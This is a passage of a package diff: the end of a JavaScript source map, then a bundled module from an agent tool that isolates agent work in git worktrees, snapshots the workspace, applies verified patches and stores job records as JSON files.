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","names":["resolve","dirname","dirname","resolve"]}
|
|
@@ -0,0 +1,402 @@
|
|
|
1
|
+
import {
|
|
2
|
+
systemClock
|
|
3
|
+
} from "./chunk-7N4J557C.js";
|
|
4
|
+
import {
|
|
5
|
+
resolveBookHome
|
|
6
|
+
} from "./chunk-24AXE6SP.js";
|
|
7
|
+
|
|
8
|
+
// src/jobs/persistent-store.ts
|
|
9
|
+
import {
|
|
10
|
+
existsSync as existsSync2,
|
|
11
|
+
mkdirSync as mkdirSync2,
|
|
12
|
+
readFileSync,
|
|
13
|
+
readdirSync,
|
|
14
|
+
renameSync,
|
|
15
|
+
rmSync as rmSync2,
|
|
16
|
+
writeFileSync
|
|
17
|
+
} from "fs";
|
|
18
|
+
import { randomUUID as randomUUID2 } from "crypto";
|
|
19
|
+
import { dirname as dirname2, join as join2 } from "path";
|
|
20
|
+
|
|
21
|
+
// src/agents/git-isolation.ts
|
|
22
|
+
import { createHash, randomUUID } from "crypto";
|
|
23
|
+
import { execFile, spawn } from "child_process";
|
|
24
|
+
import { existsSync, mkdirSync, mkdtempSync, rmSync } from "fs";
|
|
25
|
+
import { tmpdir } from "os";
|
|
26
|
+
import { dirname, join, resolve } from "path";
|
|
27
|
+
function git(cwd, args, options) {
|
|
28
|
+
if (options?.input !== void 0) {
|
|
29
|
+
return new Promise((resolvePromise, reject) => {
|
|
30
|
+
const child = spawn("git", args, {
|
|
31
|
+
cwd,
|
|
32
|
+
env: { ...process.env, ...options.env },
|
|
33
|
+
stdio: ["pipe", "pipe", "pipe"]
|
|
34
|
+
});
|
|
35
|
+
let stdout = "";
|
|
36
|
+
let stderr = "";
|
|
37
|
+
child.stdout.on("data", (chunk) => stdout += chunk.toString());
|
|
38
|
+
child.stderr.on("data", (chunk) => stderr += chunk.toString());
|
|
39
|
+
child.on("error", reject);
|
|
40
|
+
child.on("close", (codeValue) => {
|
|
41
|
+
const code = codeValue ?? 1;
|
|
42
|
+
if (code === 0 || options.allowExitCodes?.includes(code)) {
|
|
43
|
+
resolvePromise({ stdout, stderr, code });
|
|
44
|
+
} else {
|
|
45
|
+
reject(new Error(stderr.trim() || stdout.trim() || `git ${args[0]} failed (${code})`));
|
|
46
|
+
}
|
|
47
|
+
});
|
|
48
|
+
child.stdin.end(options.input);
|
|
49
|
+
});
|
|
50
|
+
}
|
|
51
|
+
return new Promise((resolvePromise, reject) => {
|
|
52
|
+
execFile(
|
|
53
|
+
"git",
|
|
54
|
+
args,
|
|
55
|
+
{
|
|
56
|
+
cwd,
|
|
57
|
+
env: { ...process.env, ...options?.env },
|
|
58
|
+
encoding: "utf8",
|
|
59
|
+
maxBuffer: 50 * 1024 * 1024
|
|
60
|
+
},
|
|
61
|
+
(error, stdout, stderr) => {
|
|
62
|
+
const code = typeof error?.code === "number" ? error.code : error ? 1 : 0;
|
|
63
|
+
if (!error || options?.allowExitCodes?.includes(code)) {
|
|
64
|
+
resolvePromise({ stdout, stderr, code });
|
|
65
|
+
return;
|
|
66
|
+
}
|
|
67
|
+
reject(new Error(stderr.trim() || stdout.trim() || error.message));
|
|
68
|
+
}
|
|
69
|
+
);
|
|
70
|
+
});
|
|
71
|
+
}
|
|
72
|
+
function gitIdentityEnv() {
|
|
73
|
+
return {
|
|
74
|
+
GIT_AUTHOR_NAME: "Book Agent",
|
|
75
|
+
GIT_AUTHOR_EMAIL: "agents@book.local",
|
|
76
|
+
GIT_COMMITTER_NAME: "Book Agent",
|
|
77
|
+
GIT_COMMITTER_EMAIL: "agents@book.local"
|
|
78
|
+
};
|
|
79
|
+
}
|
|
80
|
+
function tempIndex() {
|
|
81
|
+
const dir = mkdtempSync(join(tmpdir(), "book-index-"));
|
|
82
|
+
return { dir, path: join(dir, "index") };
|
|
83
|
+
}
|
|
84
|
+
async function findGitRoot(workspace) {
|
|
85
|
+
try {
|
|
86
|
+
return (await git(workspace, ["rev-parse", "--show-toplevel"])).stdout.trim();
|
|
87
|
+
} catch {
|
|
88
|
+
return void 0;
|
|
89
|
+
}
|
|
90
|
+
}
|
|
91
|
+
function repositoryHash(repoRoot) {
|
|
92
|
+
return createHash("sha256").update(resolve(repoRoot).toLowerCase()).digest("hex").slice(0, 20);
|
|
93
|
+
}
|
|
94
|
+
async function writeWorkspaceTree(repoRoot, includeUntracked) {
|
|
95
|
+
const index = tempIndex();
|
|
96
|
+
try {
|
|
97
|
+
const env = { GIT_INDEX_FILE: index.path };
|
|
98
|
+
const head = (await git(repoRoot, ["rev-parse", "HEAD"])).stdout.trim();
|
|
99
|
+
await git(repoRoot, ["read-tree", head], { env });
|
|
100
|
+
await git(repoRoot, includeUntracked ? ["add", "-A", "--", "."] : ["add", "-u", "--", "."], {
|
|
101
|
+
env
|
|
102
|
+
});
|
|
103
|
+
const tree = (await git(repoRoot, ["write-tree"], { env })).stdout.trim();
|
|
104
|
+
const status = (await git(repoRoot, ["status", "--porcelain=v1", "--untracked-files=all"])).stdout;
|
|
105
|
+
return { head, tree, status };
|
|
106
|
+
} finally {
|
|
107
|
+
rmSync(index.dir, { recursive: true, force: true });
|
|
108
|
+
}
|
|
109
|
+
}
|
|
110
|
+
async function currentWorkspaceFingerprint(repoRoot, includeUntracked) {
|
|
111
|
+
const { head, tree } = await writeWorkspaceTree(repoRoot, includeUntracked);
|
|
112
|
+
return `${head}:${tree}`;
|
|
113
|
+
}
|
|
114
|
+
async function createSyntheticSnapshot(workspace, includeUntracked = true) {
|
|
115
|
+
const repoRoot = await findGitRoot(workspace);
|
|
116
|
+
if (!repoRoot) {
|
|
117
|
+
throw new Error(
|
|
118
|
+
"Managed agents require a Git workspace with at least one commit. Use --agents off for this workspace."
|
|
119
|
+
);
|
|
120
|
+
}
|
|
121
|
+
const id = randomUUID();
|
|
122
|
+
const { head, tree, status } = await writeWorkspaceTree(repoRoot, includeUntracked);
|
|
123
|
+
const commit = (await git(repoRoot, ["commit-tree", tree, "-p", head, "-m", `book synthetic snapshot ${id}`], {
|
|
124
|
+
env: gitIdentityEnv()
|
|
125
|
+
})).stdout.trim();
|
|
126
|
+
const repoHash = repositoryHash(repoRoot);
|
|
127
|
+
const ref = `refs/book/snapshots/${repoHash}/${id}`;
|
|
128
|
+
await git(repoRoot, ["update-ref", ref, commit]);
|
|
129
|
+
const manifestOutput = (await git(repoRoot, [
|
|
130
|
+
"-c",
|
|
131
|
+
"core.quotepath=false",
|
|
132
|
+
"diff-tree",
|
|
133
|
+
"--no-commit-id",
|
|
134
|
+
"--name-status",
|
|
135
|
+
"-r",
|
|
136
|
+
"-M",
|
|
137
|
+
head,
|
|
138
|
+
commit
|
|
139
|
+
])).stdout;
|
|
140
|
+
const manifest = manifestOutput.split(/\r?\n/).filter(Boolean).map((line) => {
|
|
141
|
+
const [statusCode, ...paths] = line.split(" ");
|
|
142
|
+
return { status: statusCode, path: paths.join(" -> ") };
|
|
143
|
+
});
|
|
144
|
+
return {
|
|
145
|
+
id,
|
|
146
|
+
repoRoot,
|
|
147
|
+
repoHash,
|
|
148
|
+
baseHead: head,
|
|
149
|
+
commit,
|
|
150
|
+
tree,
|
|
151
|
+
ref,
|
|
152
|
+
fingerprint: `${head}:${tree}`,
|
|
153
|
+
dirty: status.trim().length > 0,
|
|
154
|
+
includeUntracked,
|
|
155
|
+
manifest,
|
|
156
|
+
createdAt: Date.now()
|
|
157
|
+
};
|
|
158
|
+
}
|
|
159
|
+
function defaultWorktreeRoot() {
|
|
160
|
+
return join(resolveBookHome(), "worktrees");
|
|
161
|
+
}
|
|
162
|
+
async function createAgentWorktree(snapshot, agentId, worktreeRoot = defaultWorktreeRoot(), startCommit = snapshot.commit) {
|
|
163
|
+
const path = join(worktreeRoot, snapshot.repoHash, agentId);
|
|
164
|
+
const branch = `book-agent/${snapshot.repoHash}/${agentId}`;
|
|
165
|
+
if (existsSync(path)) return { path, branch };
|
|
166
|
+
mkdirSync(dirname(path), { recursive: true });
|
|
167
|
+
await git(snapshot.repoRoot, ["worktree", "add", "-b", branch, path, startCommit]);
|
|
168
|
+
return { path, branch };
|
|
169
|
+
}
|
|
170
|
+
async function removeAgentWorktree(record, repoRoot = record.worktree) {
|
|
171
|
+
if (!record.worktree || !record.branch) return;
|
|
172
|
+
const root = repoRoot ?? record.worktree;
|
|
173
|
+
await git(root, ["worktree", "remove", "--force", record.worktree], {
|
|
174
|
+
allowExitCodes: [128]
|
|
175
|
+
}).catch(() => {
|
|
176
|
+
});
|
|
177
|
+
await git(root, ["branch", "-D", record.branch], { allowExitCodes: [1, 128] }).catch(() => {
|
|
178
|
+
});
|
|
179
|
+
}
|
|
180
|
+
async function removeSnapshotRef(snapshot) {
|
|
181
|
+
await git(snapshot.repoRoot, ["update-ref", "-d", snapshot.ref], { allowExitCodes: [1] }).catch(
|
|
182
|
+
() => {
|
|
183
|
+
}
|
|
184
|
+
);
|
|
185
|
+
}
|
|
186
|
+
async function checkoutAgentCommit(worktree, commit) {
|
|
187
|
+
await git(worktree, ["reset", "--hard", commit]);
|
|
188
|
+
}
|
|
189
|
+
async function commitAgentWork(record, snapshot) {
|
|
190
|
+
if (!record.worktree || !record.branch) return void 0;
|
|
191
|
+
await git(record.worktree, ["add", "-A", "--", "."]);
|
|
192
|
+
const diff = await git(record.worktree, ["diff", "--cached", "--quiet"], { allowExitCodes: [1] });
|
|
193
|
+
if (diff.code === 0) return void 0;
|
|
194
|
+
await git(record.worktree, ["commit", "-m", `book agent ${record.id}: ${record.name}`], {
|
|
195
|
+
env: gitIdentityEnv()
|
|
196
|
+
});
|
|
197
|
+
const headCommit = (await git(record.worktree, ["rev-parse", "HEAD"])).stdout.trim();
|
|
198
|
+
return {
|
|
199
|
+
baseCommit: snapshot.commit,
|
|
200
|
+
headCommit,
|
|
201
|
+
branch: record.branch,
|
|
202
|
+
agentId: record.id
|
|
203
|
+
};
|
|
204
|
+
}
|
|
205
|
+
async function candidateDelta(snapshot, candidate) {
|
|
206
|
+
return (await git(snapshot.repoRoot, [
|
|
207
|
+
"diff",
|
|
208
|
+
"--binary",
|
|
209
|
+
"--full-index",
|
|
210
|
+
candidate.baseCommit,
|
|
211
|
+
candidate.headCommit,
|
|
212
|
+
"--"
|
|
213
|
+
])).stdout;
|
|
214
|
+
}
|
|
215
|
+
async function precheckDelta(snapshot, patch) {
|
|
216
|
+
const index = tempIndex();
|
|
217
|
+
try {
|
|
218
|
+
const env = { GIT_INDEX_FILE: index.path };
|
|
219
|
+
await git(snapshot.repoRoot, ["read-tree", snapshot.commit], { env });
|
|
220
|
+
await git(snapshot.repoRoot, ["apply", "--3way", "--check", "--cached", "-"], {
|
|
221
|
+
env,
|
|
222
|
+
input: patch
|
|
223
|
+
});
|
|
224
|
+
await git(snapshot.repoRoot, ["apply", "--check", "-"], { input: patch });
|
|
225
|
+
} finally {
|
|
226
|
+
rmSync(index.dir, { recursive: true, force: true });
|
|
227
|
+
}
|
|
228
|
+
}
|
|
229
|
+
async function applyVerifiedCandidate(snapshot, candidate) {
|
|
230
|
+
if (candidate.baseCommit !== snapshot.commit) {
|
|
231
|
+
return {
|
|
232
|
+
status: "conflicted",
|
|
233
|
+
error: "Patch candidate base does not match the task snapshot."
|
|
234
|
+
};
|
|
235
|
+
}
|
|
236
|
+
const actualHead = (await git(snapshot.repoRoot, ["rev-parse", candidate.headCommit])).stdout.trim();
|
|
237
|
+
if (actualHead !== candidate.headCommit) {
|
|
238
|
+
return { status: "conflicted", error: "Patch candidate commit no longer resolves exactly." };
|
|
239
|
+
}
|
|
240
|
+
const current = await currentWorkspaceFingerprint(snapshot.repoRoot, snapshot.includeUntracked);
|
|
241
|
+
if (current !== snapshot.fingerprint) {
|
|
242
|
+
return {
|
|
243
|
+
status: "conflicted",
|
|
244
|
+
error: "Parent workspace drifted after the agent snapshot; no changes were applied."
|
|
245
|
+
};
|
|
246
|
+
}
|
|
247
|
+
const patch = await candidateDelta(snapshot, candidate);
|
|
248
|
+
try {
|
|
249
|
+
await precheckDelta(snapshot, patch);
|
|
250
|
+
} catch (error) {
|
|
251
|
+
return {
|
|
252
|
+
status: "conflicted",
|
|
253
|
+
error: `Patch pre-check failed; no changes were applied: ${error instanceof Error ? error.message : String(error)}`
|
|
254
|
+
};
|
|
255
|
+
}
|
|
256
|
+
if (!snapshot.dirty) {
|
|
257
|
+
try {
|
|
258
|
+
await git(snapshot.repoRoot, ["cherry-pick", candidate.headCommit]);
|
|
259
|
+
const appliedCommit = (await git(snapshot.repoRoot, ["rev-parse", "HEAD"])).stdout.trim();
|
|
260
|
+
return { status: "applied", commit: appliedCommit };
|
|
261
|
+
} catch (error) {
|
|
262
|
+
await git(snapshot.repoRoot, ["cherry-pick", "--abort"], { allowExitCodes: [128] }).catch(
|
|
263
|
+
() => {
|
|
264
|
+
}
|
|
265
|
+
);
|
|
266
|
+
return {
|
|
267
|
+
status: "conflicted",
|
|
268
|
+
error: `Cherry-pick failed and was rolled back: ${error instanceof Error ? error.message : String(error)}`
|
|
269
|
+
};
|
|
270
|
+
}
|
|
271
|
+
}
|
|
272
|
+
try {
|
|
273
|
+
await git(snapshot.repoRoot, ["apply", "-"], { input: patch });
|
|
274
|
+
return { status: "applied", commit: candidate.headCommit };
|
|
275
|
+
} catch (error) {
|
|
276
|
+
return {
|
|
277
|
+
status: "conflicted",
|
|
278
|
+
error: `Patch application failed: ${error instanceof Error ? error.message : String(error)}`
|
|
279
|
+
};
|
|
280
|
+
}
|
|
281
|
+
}
|
|
282
|
+
|
|
283
|
+
// src/jobs/persistent-store.ts
|
|
284
|
+
function persistentJobPaths(workspace, root = join2(resolveBookHome(), "jobs")) {
|
|
285
|
+
const repositoryRoot = join2(root, repositoryHash(workspace));
|
|
286
|
+
return {
|
|
287
|
+
root: repositoryRoot,
|
|
288
|
+
records: join2(repositoryRoot, "records"),
|
|
289
|
+
controls: join2(repositoryRoot, "controls"),
|
|
290
|
+
logs: join2(repositoryRoot, "logs"),
|
|
291
|
+
specs: join2(repositoryRoot, "specs")
|
|
292
|
+
};
|
|
293
|
+
}
|
|
294
|
+
function ensurePersistentJobPaths(paths) {
|
|
295
|
+
for (const path of [paths.root, paths.records, paths.controls, paths.logs, paths.specs]) {
|
|
296
|
+
mkdirSync2(path, { recursive: true });
|
|
297
|
+
}
|
|
298
|
+
}
|
|
299
|
+
function writeJsonAtomic(path, value) {
|
|
300
|
+
mkdirSync2(dirname2(path), { recursive: true });
|
|
301
|
+
const temporary = `${path}.${process.pid}.${randomUUID2()}.tmp`;
|
|
302
|
+
writeFileSync(temporary, JSON.stringify(value, null, 2), { encoding: "utf8", mode: 384 });
|
|
303
|
+
renameSync(temporary, path);
|
|
304
|
+
}
|
|
305
|
+
function readJsonFile(path) {
|
|
306
|
+
try {
|
|
307
|
+
return JSON.parse(readFileSync(path, "utf8"));
|
|
308
|
+
} catch {
|
|
309
|
+
return void 0;
|
|
310
|
+
}
|
|
311
|
+
}
|
|
312
|
+
function listPersistentStates(paths) {
|
|
313
|
+
if (!existsSync2(paths.records)) return [];
|
|
314
|
+
return readdirSync(paths.records).filter((name) => name.endsWith(".json")).map((name) => readJsonFile(join2(paths.records, name))).filter((state) => state?.version === 1);
|
|
315
|
+
}
|
|
316
|
+
function removePersistentJobFiles(paths, id) {
|
|
317
|
+
for (const path of [
|
|
318
|
+
join2(paths.records, `${id}.json`),
|
|
319
|
+
join2(paths.controls, `${id}.json`),
|
|
320
|
+
join2(paths.logs, `${id}.log`),
|
|
321
|
